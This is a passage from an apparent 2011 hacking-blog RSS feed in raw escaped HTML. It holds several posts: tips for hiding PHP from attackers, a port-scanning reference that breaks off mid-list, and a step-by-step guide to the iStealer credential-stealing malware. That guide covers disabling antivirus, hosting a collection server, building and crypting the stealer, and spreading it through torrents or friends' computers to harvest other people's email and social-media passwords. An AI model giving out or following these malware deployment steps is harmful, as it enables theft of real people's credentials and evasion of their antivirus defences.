In this tutorial, we’ll be looking at some of the most popular methods  used by Site Administrators to Hide PHP , So let’s get started.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;   &lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif; font-weight: normal; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="" name="bg"&gt;&lt;/a&gt;Editing php.ini file&lt;/span&gt;&lt;/h3&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
PHP as a default exposes the fact that if it is installed on a server or  not, by adding its signature to the Web server header which can really  be lethal in some cases.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
To set this off , Simply go to your php installation directory  under  “conf_files” , you can find your standard PHP Configuration file named  “php.ini”&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
Now under this file , go to the “Miscellaneous” section and simply turn expose_php to Off.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;   &lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif; font-weight: normal; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="" name="bg"&gt;&lt;/a&gt;Spoofing&lt;/span&gt;&lt;/h3&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
By adding a simple line of code you can actually fool an attacker about what service are you using.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
Spoof.php&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;  &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px; text-align: left;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;&lt;span style="font-size: small;"&gt;Code: php&lt;/span&gt;&lt;/div&gt;&lt;pre class="alt2" style="border: 1px inset; height: 100px; margin: 0px; overflow: auto; padding: 6px; width: 640px;"&gt;&lt;div style="text-align: left;"&gt;&lt;div class="php"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: black;"&gt;&amp;lt;?php&lt;/span&gt;
&lt;a href="http://www.php.net/error_reporting"&gt;&lt;span style="color: #000066;"&gt;error_reporting&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #66cc66;"&gt;)&lt;/span&gt;;
&lt;a href="http://www.php.net/header"&gt;&lt;span style="color: #000066;"&gt;header&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"X-Powered-By: My Programming Language"&lt;/span&gt;&lt;span style="color: #66cc66;"&gt;)&lt;/span&gt;;
&lt;span style="color: black;"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;Note: The header call should be made before you send any data to the client.&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif; font-weight: normal; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="" name="code"&gt;&lt;/a&gt;Using Some Basic Apache Rules&lt;/span&gt;&lt;/h3&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
Most Web servers like Apache etc. Can be configured to use some basic  rules that would allow to parse different file-types with PHP.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
EG:-&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
A file like index.php, gives a straight clue to the attacker that the  server is using php. But if we can use some basic server configuration  to actually allow a extension like “.mpl” etc to parse PHP code. The  attacker will certainly have no clue about the file extension.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
For the Scope of this tutorial I’ll only be covering some Apache  Rules/Configurations, but if you need help with some other servers, feel  free to comment or PM me.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
The configurations can be added either using the .htaccess directive or  directly through the Apache Configurations file. Just add the following  set of rules&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
Syntax :-&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;      &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px; text-align: left;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;&lt;span style="font-size: small;"&gt;Code:&lt;/span&gt;&lt;/div&gt;&lt;pre class="alt2" style="border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&lt;span style="font-size: small;"&gt;AddType application/x-httpd-php .extenstion&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;Example :-&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px; text-align: left;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;&lt;span style="font-size: small;"&gt;Code:&lt;/span&gt;&lt;/div&gt;&lt;pre class="alt2" style="border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&lt;span style="font-size: small;"&gt;AddType application/x-httpd-php .mpl .mp3 .py .asp&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;Note : Only use those extensions which are normally not used by  the server , for example don’t use .txt extension as the server will  interpret .txt as PHP code and if it contains some php , it will be  executed.&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif; font-weight: normal; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="" name="ref"&gt;&lt;/a&gt;Conclusion&lt;/span&gt;&lt;/h3&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
Obfuscation is not the most effective way of security and at most of the  times, it doesn’t help, as a professional hacker would already know  these modifications and can easily make out what you are trying to hide.  But obfuscation would really slow down the attacker and will keep away  some script kiddies. It is better to obfuscate than rather telling him  what he wants.    &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt; &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-6116620156780453213?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/W7oYDak_xio" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/W7oYDak_xio/obfuscating-php.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-TXx-pwpSLPM/Tu-uTsEiptI/AAAAAAAAAWM/nzKGGWu8nVM/s72-c/images.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/obfuscating-php.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-6134752813215539018</guid><pubDate>Tue, 13 Dec 2011 12:00:00 +0000</pubDate><atom:updated>2011-12-13T04:00:04.335-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">News</category><category domain="http://www.blogger.com/atom/ns#">General</category><title>The GREAT FIRE"WALL"    Of China</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-YX-q_8hyOyU/Tuc-F-AMvYI/AAAAAAAAAWA/_jjqYxmB3no/s1600/SocialMediaRevolution-L_3073.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-YX-q_8hyOyU/Tuc-F-AMvYI/AAAAAAAAAWA/_jjqYxmB3no/s1600/SocialMediaRevolution-L_3073.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-6134752813215539018?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/MGP1IxuRK28" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/MGP1IxuRK28/great-firewall-of-china.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://1.bp.blogspot.com/-YX-q_8hyOyU/Tuc-F-AMvYI/AAAAAAAAAWA/_jjqYxmB3no/s72-c/SocialMediaRevolution-L_3073.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/great-firewall-of-china.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-2837093621995984057</guid><pubDate>Mon, 12 Dec 2011 14:03:00 +0000</pubDate><atom:updated>2011-12-12T06:03:49.377-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><title>Hack Passwords Using  iStealer</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;There are diffirent way's to steal passwords.&lt;br /&gt;
I want to be able to steal passwords from cookie files with 1 click,&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-I2G9QtewjOw/TuYJn84t42I/AAAAAAAAAV4/rhiGDeBrMnA/s1600/istealer6.0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-I2G9QtewjOw/TuYJn84t42I/AAAAAAAAAV4/rhiGDeBrMnA/s320/istealer6.0.jpg" width="242" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
well what do you know it exists! It's a cookie stealer called iStealer ( 6.0 is newest version ).&lt;br /&gt;
It steals every cookie password from the slave's browser, and shows it to the attacker.&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;So if you do it correctly you will have  hotmail, netlog, facebook, WoW, rapidshare and other passwords from  lots of people in no time.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I'll set one up, and will go thru all the details.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;Prepare yourself&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;1st &lt;/span&gt;Download iStealer 6.0 ( link is at the bottom of the thread )&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;2th&lt;/span&gt; Disable your virusscanner,  this is because your antivirus sees the iStealer program as a keylogger (  it's acctualy a CookieStealer but whatever )&lt;br /&gt;
&lt;br /&gt;
3th Register domain and hosting&lt;br /&gt;
iStealer requires a webserver, this is because when someone click's your  own made "Virus" it has to send the passwords and usernames somewhere.&lt;br /&gt;
I suggest &lt;a href="http://www.000webhost.com/" target="_blank"&gt;http://www.000webhost.com/&lt;/a&gt; for free webhosting, so register a domain there.&lt;br /&gt;
&lt;br /&gt;
The registration can take a while, but when u have your domain registered, go to the &lt;span style="font-weight: bold;"&gt;cPanel&lt;/span&gt;.&lt;br /&gt;
Once your on the cPanel, click on &lt;span style="font-weight: bold;"&gt;MySQL&lt;/span&gt; ( this is under the tab "&lt;span style="font-style: italic;"&gt;Software / Services&lt;/span&gt;" )&lt;br /&gt;
&lt;br /&gt;
Now create a new database and user. Something like this&lt;br /&gt;
&lt;br /&gt;
MySQL database name: a7356028_&lt;span style="font-weight: bold;"&gt;stealer&lt;/span&gt;&lt;br /&gt;
MySQL user name: a7356028_&lt;span style="font-weight: bold;"&gt;theadmin&lt;/span&gt;&lt;br /&gt;
Password for MySQL user: &lt;span style="font-weight: bold;"&gt;123456&lt;/span&gt;&lt;br /&gt;
Then click create database.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;Configure to steal&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now extract the downloaded zip file ( below the thread ).&lt;br /&gt;
You should have iStealer 6.0.exe, and a map called PHP Logger.&lt;br /&gt;
Open &lt;span style="font-weight: bold;"&gt;index.php&lt;/span&gt; in the map PHP Logger with notepad or any text-editor.&lt;br /&gt;
&lt;br /&gt;
you see a bunch of codes, but dont worry, we only need the first part of the php file. Search for the &lt;span style="font-weight: bold;"&gt;CONFIGURATION&lt;/span&gt; section, this will be in it&lt;br /&gt;
&lt;br /&gt;
$dbHost  = "localhost"; // MySQL host&lt;br /&gt;
$dbUser  = "suicide_admin"; // MySQL username&lt;br /&gt;
$dbPass  = "GOX"; // MySQL password&lt;br /&gt;
$dbDatabase = "suicide_is"; // MySQL database name&lt;br /&gt;
&lt;br /&gt;
$username   = "admin"; // Login Username&lt;br /&gt;
$password   = "GOV"; // Login Password&lt;br /&gt;
$logspage   = 100; // Number of logs per page&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Configure this with you own MySQL database information. Then it should look like this&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
$dbHost  = "localhost"; // MySQL host&lt;br /&gt;
$dbUser  = "&lt;span style="font-weight: bold;"&gt;a7356028_theadmin&lt;/span&gt;"; // MySQL username&lt;br /&gt;
$dbPass  = "&lt;span style="font-weight: bold;"&gt;123456&lt;/span&gt;"; // MySQL password&lt;br /&gt;
$dbDatabase = "&lt;span style="font-weight: bold;"&gt;a7356028_stealer&lt;/span&gt;"; // MySQL database name&lt;br /&gt;
&lt;br /&gt;
$username   = "&lt;span style="font-weight: bold;"&gt;admin&lt;/span&gt;"; // Login Username&lt;br /&gt;
$password   = "&lt;span style="font-weight: bold;"&gt;whatuwant&lt;/span&gt;"; // Login Password&lt;br /&gt;
$logspage   = 100; // Number of logs per page&lt;br /&gt;
&lt;br /&gt;
Note that the &lt;span style="font-weight: bold;"&gt;$username&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;$password&lt;/span&gt; variable will be used to log in your website, s&lt;span style="font-style: italic;"&gt;o choose it carefully.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Now save the file.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;Loading it up&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
Go back to the &lt;span style="font-weight: bold;"&gt;cPanel&lt;/span&gt; of your site, and click on &lt;span style="font-weight: bold;"&gt;File Manager&lt;/span&gt; ( under the tab "Files )&lt;br /&gt;
Log in with your 000webhost password and continue.&lt;br /&gt;
Click on &lt;span style="font-weight: bold;"&gt;public_html&lt;/span&gt; map, and once ur in it, click &lt;span style="font-weight: bold;"&gt;Upload&lt;/span&gt;.&lt;br /&gt;
Select the &lt;span style="font-weight: bold;"&gt;index.php&lt;/span&gt; you saved before, and the &lt;span style="font-weight: bold;"&gt;style.css&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Upload it.&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
Then just browse to your domain name in your browser, and login with the &lt;span style="font-weight: bold;"&gt;$username &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;$password&lt;/span&gt;  you choose in the index.php ( in my case admin and whatuwant ). Now you  have the page where the passwords and usernames are stored.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;Making the Stealer File!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now everything is set up, we have to make our CookieStealer file.&lt;br /&gt;
Just open iStealer 6.0.exe, enter your domain on the top ( edit things you want, like changing the icon etc ).&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Click build!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;Testing, crypting, spreading?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Testing?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
To see if it works, just click it yourself! If you enter your website, and see your passwords and usernames,&lt;span style="font-weight: bold;"&gt; it works!&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Crypting?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Well, it worked on yourself, because your antivirus is not up, but most  of the people have antivirusscanner on all the time, so you might think  of &lt;span style="font-weight: bold;"&gt;crypting&lt;/span&gt; it ( making it undetectable ), i'll talk about this later ( and show u some tools ), in the main time, use Google!&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Spreading?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Just make a torrent file with your File in it ( With a combine tool - Google it ).&lt;br /&gt;
Or just go to the computer of your friends, shut down their antivirus ( if your file isn't crypted ), and click the file.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Dont spread, it's illegal.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the link broken , Google for iStealer 6.0 (Files tube Or Mediafire)&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-2837093621995984057?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/-vm8bFe92k0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/-vm8bFe92k0/hack-passwords-using-istealer.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://1.bp.blogspot.com/-I2G9QtewjOw/TuYJn84t42I/AAAAAAAAAV4/rhiGDeBrMnA/s72-c/istealer6.0.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/hack-passwords-using-istealer.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-4364114285953743781</guid><pubDate>Mon, 12 Dec 2011 13:49:00 +0000</pubDate><atom:updated>2011-12-12T05:49:00.467-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><category domain="http://www.blogger.com/atom/ns#">Networking</category><title>Types Of  Port Scanning , Reference</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.morcant.net/images/portfolio/php-nmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="258" src="http://www.morcant.net/images/portfolio/php-nmap.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;Port numbers are 16-bit unsigned numbers and can be broadly  classified into three categories.&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt; &lt;b&gt;&lt;span style="color: blue;"&gt;Port 0-1023&lt;/span&gt; &lt;/b&gt;is "well known ports",&lt;br /&gt;
&lt;b&gt;&lt;span style="color: blue;"&gt;1024 - 49151&lt;/span&gt; &lt;/b&gt;are "registered ports" &lt;br /&gt;
and &lt;b&gt;&lt;span style="color: blue;"&gt;49152 - 65535 &lt;/span&gt;&lt;/b&gt;is "dynamic or  private ports".&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;br /&gt;
&lt;br /&gt;
One problem with port scanning is that it is effortlessly logged by the  services listening at the scanned ports. This is because they detect an  incoming connection, but do not receive any data, thereby generating an  application error log.&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;br /&gt;
To scan UDP ports, an empty UDP datagram is sent to the port. If the  port is listening, the services will send back an error message or  ignore the incoming datagram. If the port is closed, the operating  system send back "ICMP Port Unreachable" (Type 3) message.&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;br /&gt;
(&lt;b style="color: blue;"&gt;Remember Windows Uses ICMP To find the Host is alive Or Dead , Linux Uses UDP packets to do the same)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Port scanning can be broadly classified into:&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Open scan&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Half-open scan&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Stealth scan&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Sweeps&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Misc&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;If ur a Beginner u may be wondering What ype of scan can i go for ??It Completely&amp;nbsp; depends on the  information gathering during reconnaissance regarding the type of  network topology, IDS and other logging feature present on the system.&lt;/div&gt;&lt;div class="post" id="post_message_68520"&gt;&lt;br /&gt;
So to be in the Safer Side i have got some links which tells u the logic Behind Each type of Scan , &lt;a href="http://nmap.org/nmap_doc.html" target="_blank"&gt;&lt;b&gt;Click Here&lt;/b&gt; &lt;/a&gt;to Know the Packet Informations&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Open Scan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Open scan / TCP connect scan also known as vanilla scan where a full  connection is opened to the target system by a three-way TCP/IP  handshake. Therefore, it is easiest to be detected and blocked on the  network. However the information gathering using open scan is usually  the most.&lt;br /&gt;
When the port is open, the client sends a SYN flag, the server replies a  SYN+ACK flag, which is acknowledged back with an ACK flag by client.  Once the handshaking is completed, the connection is terminated by the  client. This confirm an open port.&lt;br /&gt;
When the port is closed or "not listening" the server response a RST+ACK  flag, which is acknowledged back with an RST flag by client, and then  the connection is closed.&lt;br /&gt;
The disadvantage of this scan technique is that the attacker cannot  spoof his identity as spoofing would require sending a correct sequence  number as well as setting the appropriate return flags to setup data  connection. Moreover, most stately IDS and firewall detect and log this  scan, exposing both the attempt and the attacker's IP. The advantage is  fast accurate scan that require no additional privilege.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Half-Open Scan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In half-open scan, a complete TCP connection is not established. Instead  as soon as the server acknowledge with a SYN+ACK response, the client  tears down the connection by sending RST flag. This way, the attacker  detect an open port and not establish full connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
However, some sophisticated IDS and firewall can detect a SYN packet  from the void and prevent such scan. Besides, this scan require attacker  to make a customer IP packet which in turn requires access to SOCK_RAW  (getprotbyname('raw') under most system) or /dev/bpf (Berkeley packet  filter), /dev/nit (Sun network interface tap). This requires priviliege  access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Stealth Scan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Initially half open scans were considered stealth, however as IDS  software evolved, these scan were easily logged. Now, stealth scan  refers to the type of scan where packets are flagged with a particular  set of flags other than SYN, or a combination of flags, no flag set,  with all flag set, appearing as normal traffic, using fragmented packet  or avoiding filtering devices by any other means. All these techniques  resort to inverse mapping to determine open ports.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;SYN|ACK Scan&lt;br /&gt;
Client sends a SYN+ACK flag to the target. For a closed port, server  will reply a RST response while an open port will not reply. This is  because the TCP protocol requires a SYN flag to initiate the connection.  This scan may generate certain amount of false positives. For instance,  packets dropped by filtering devices, network traffic, timeouts etc can  give a wrong inference of an open port while the port may or may not be  open. However this is a &lt;b&gt;fast&lt;/b&gt; scan that avoid three-way handshake.&lt;/li&gt;
&lt;li&gt;FIN Scan&lt;br /&gt;
Similar to SNY|ACK scan, instead a FIN flag is sent to the target. The  closed ports are required to reply to the probe packet with RST, while  open ports must ignore the packet in question. This scan attempt to  exploit vulnerabilities in BSD code. Since most OS are based on BSD or  derived from BSD, this was a scan that can return good result. However,  most OS applied patches to correct the problem, still there remains a  possibility that the attacker may come across one where these patches  have not be applied.&lt;/li&gt;
&lt;li&gt;ACK Scan&lt;br /&gt;
The scan take advantage of the IP routing function to deduce the state  of the port from the TTL value. This is based on the fact that IP  function is a routing function. Therefore TTL value will be decremented  by on by an interface when the IP packet passes through it.&lt;/li&gt;
&lt;li&gt;NULL Scan&lt;br /&gt;
In NULL scan, the packet is sent without any flag set. This takes  advantage of RFC 793 as the RFC does not specify how the system should  respond. Most UNIX and UNIX related system respond with a RST (if the  port is open) to close the connection. However, Microsoft's  implementation does not abide with this standard and reacts differently  to such scan. An attacker can use this to differentiate between a  Windows machine and others by collaborating with other scan results. For  example, if -sF, -sX or -sN scan shows all ports are closed, but a SYN  (-sS) scan shows ports are opened, the attacker can infer that he is  scanning a windows machine. This is not an exclusive property though, as  this behavior is also shown by Cisco, BSDI, HP/UX, MVS and IRIX. Also  note that the reserved bits (RES1, RES2) do not affect the result of any  scan. Therefore this scan will work only with UNIX and related systems.&lt;/li&gt;
&lt;li&gt;Xmas Scan&lt;br /&gt;
In Xmas scan, all flags are set. All the available flags in the TCP  header are set (ACK, FIN, RST, SYN, URG, PSH) to give the scan an  ornamental look. This scan will work on UNIX and related systems and  cause the kernel to drop the packet if the receiving port is open.&lt;/li&gt;
&lt;li&gt;TCP Fragmenting&lt;br /&gt;
This approach is evolved from the need to avoid false positive arising  from other scans due to packet filtering device. For any transmission, a  minimally allowable fragmented TCP header must contain a destination  and source port for the first packet (8 octet, 64 bit), the initialized  flags in the next, which allows the remote host to reassemble the packet  upon receipt through an internet protocol module that identifies the  fragmented packets by the field equivalent values of source,  destination, protocol and identification.&lt;br /&gt;
The scan works by splitting the TCP header into small fragments and  transmitting it over the network. However, there is a possibility that  IP reassembly on the server-side may result in unpredictable and  abnormal results - such as fragmentation of the data in the IP header.  Some hosts may be incapable of parsing and reassembling the fragmented  packets and thus may cause crashes, reboots or even network device  monitoring dumps.&lt;br /&gt;
Some firewalls may have rulesets that block IP fragmentation queues in  the kernel (like the CONFIG_IP_ALWAYS_DEFRAG option in the Linux kernel)  - though this is not widely implemented due to the adverse affect on  performance. Since several intrusion detection systems use  signature-based mechanisms to signify scanning attempts based on IP  and/or the TCP header, fragmentation is often able to evade this type of  packet filtering and detection. There is a high possibility of causing  network problems on the target network. &lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Miscellaneous&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;FTP bounce&lt;br /&gt;
This scan takes advantage of the FTP servers with read/write access. The  advantage of this scan can be both anonymity and accessibility. Suppose  the target network allows FTP data transfer from only its recognized  partners. An attacker might discover a service business partner who has a  FTP service running with a world-writable directory that any anonymous  user can drop files into and read them back from. It could even be the  ISP hosting services on its FTP server. The attacker, who has a FTP  server and able to run in passive mode, logs in anonymously to the  legitimate server and issues instructions for scanning or accessing the  target server through a series of FTP commands. He may choose to make  this into a batch file and execute it from the legitimate server to  avoid detection.&lt;br /&gt;
If a connection is established as a means of active data transfer  processing (DTP), the client knows a port is open, with a 150 and 226  response issued by the server. If the transfer fails a 425 error will be  generated with a refused build data message. The PASV listener  connection can be opened on any machine that grants a file write access  to the attacker and used to bounce the scan attack for anonymity. It  does not even have to be an FTP server, any utility that will listen on a  known TCP port and read raw data from it into a file will do.&lt;br /&gt;
Often these scan are executed as batch files padded with junk so that  the TCP windows are full and the connection stay alive long enough for  the attacker to execute this commands. Fingerprinting the OS scan help  determine the TCP window size and allow the attacker to pad this  commands for further access accordingly.&lt;br /&gt;
This scan is hard to trace, permits access to local network and evades  firewalls. However, most FTP servers have patched this vulnerability by  adopting countermeasures such as preventing third party connection and  disallowing listing of restricted ports. Another measure adopted has  been restrict write access.&lt;/li&gt;
&lt;li&gt;UDP scan&lt;br /&gt;
